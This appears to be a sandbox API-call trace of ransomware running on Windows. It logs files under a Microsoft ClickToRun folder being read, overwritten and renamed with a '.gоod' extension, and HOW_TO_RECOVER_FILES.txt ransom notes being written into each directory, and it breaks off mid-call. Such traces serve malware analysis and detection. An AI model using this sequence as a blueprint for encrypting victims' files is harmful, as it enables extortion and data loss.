lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", lpFilePart=0x0) returned 0x9f [0081.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0081.530] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0081.530] GetFileType (hFile=0x6b4) returned 0x1 [0081.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0081.530] GetFileType (hFile=0x6b4) returned 0x1 [0081.530] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f8718*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f8718*=0) returned 0x38e9a8 [0081.530] WriteFile (in: hFile=0x6b4, lpBuffer=0x3306a00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f8608, lpOverlapped=0x0 | out: lpBuffer=0x3306a00*, lpNumberOfBytesWritten=0x10f8608*=0x10, lpOverlapped=0x0) returned 1 [0081.532] CloseHandle (hObject=0x6b4) returned 1 [0082.696] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", lpFilePart=0x0) returned 0x9f [0082.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0082.696] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0082.696] GetFileType (hFile=0x6b4) returned 0x1 [0082.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0082.697] GetFileType (hFile=0x6b4) returned 0x1 [0082.697] ReadFile (in: hFile=0x6b4, lpBuffer=0x339fdf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f8698, lpOverlapped=0x0 | out: lpBuffer=0x339fdf8*, lpNumberOfBytesRead=0x10f8698*=0x1000, lpOverlapped=0x0) returned 1 [0082.709] CloseHandle (hObject=0x6b4) returned 1 [0082.709] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", nBufferLength=0x105, lpBuffer=0x10f80a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", lpFilePart=0x0) returned 0x9f [0082.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f85c0) returned 1 [0082.709] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0082.709] GetFileType (hFile=0x6b4) returned 0x1 [0082.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8530) returned 1 [0082.709] GetFileType (hFile=0x6b4) returned 0x1 [0082.709] WriteFile (in: hFile=0x6b4, lpBuffer=0x339ea98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f8748, lpOverlapped=0x0 | out: lpBuffer=0x339ea98*, lpNumberOfBytesWritten=0x10f8748*=0x1010, lpOverlapped=0x0) returned 1 [0082.709] CloseHandle (hObject=0x6b4) returned 1 [0083.443] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml", lpFilePart=0x0) returned 0x9f [0083.443] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f81f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.gоod", lpFilePart=0x0) returned 0xa4 [0083.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8680) returned 1 [0083.443] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f8760 | out: lpFileInformation=0x10f8760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x2df4137f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38e9b8)) returned 1 [0083.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f8640) returned 1 [0083.443] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml.gоod")) returned 1 [0083.444] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8360, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0xa7 [0083.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f8880) returned 1 [0083.444] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0083.444] GetFileType (hFile=0x6b4) returned 0x1 [0083.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f87f0) returned 1 [0083.444] GetFileType (hFile=0x6b4) returned 0x1 [0083.445] WriteFile (in: hFile=0x6b4, lpBuffer=0x32ed978*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f8948, lpOverlapped=0x0 | out: lpBuffer=0x32ed978*, lpNumberOfBytesWritten=0x10f8948*=0x5d0, lpOverlapped=0x0) returned 1 [0083.451] CloseHandle (hObject=0x6b4) returned 1 [0083.451] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x80 [0083.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0083.451] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0083.453] GetFileType (hFile=0x6b4) returned 0x1 [0083.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0083.453] GetFileType (hFile=0x6b4) returned 0x1 [0083.453] WriteFile (in: hFile=0x6b4, lpBuffer=0x32f12d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x32f12d0*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0083.454] CloseHandle (hObject=0x6b4) returned 1 [0083.455] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0083.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0083.455] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0083.456] GetFileType (hFile=0x6b4) returned 0x1 [0083.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0083.456] GetFileType (hFile=0x6b4) returned 0x1 [0083.456] WriteFile (in: hFile=0x6b4, lpBuffer=0x32f4b88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x32f4b88*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0083.457] CloseHandle (hObject=0x6b4) returned 1 [0083.458] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0083.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0083.458] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0083.458] GetFileType (hFile=0x6b4) returned 0x1 [0083.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0083.458] GetFileType (hFile=0x6b4) returned 0x1 [0083.459] WriteFile (in: hFile=0x6b4, lpBuffer=0x32f8420*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x32f8420*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0083.460] CloseHandle (hObject=0x6b4) returned 1 [0083.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0083.460] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3b [0083.460] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.461] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.461] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0083.461] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0083.461] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0083.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0083.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0083.461] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3b [0083.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.461] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.462] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0083.462] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0083.462] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0083.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0083.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0083.462] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4b [0083.462] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.463] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.463] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0083.463] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0083.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0083.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0083.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4b [0083.463] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0083.463] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.464] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0083.464] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0083.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0083.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0083.464] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x64 [0083.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0083.464] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b4 [0083.464] GetFileType (hFile=0x6b4) returned 0x1 [0083.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0083.464] GetFileType (hFile=0x6b4) returned 0x1 [0083.465] WriteFile (in: hFile=0x6b4, lpBuffer=0x3317988*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3317988*, 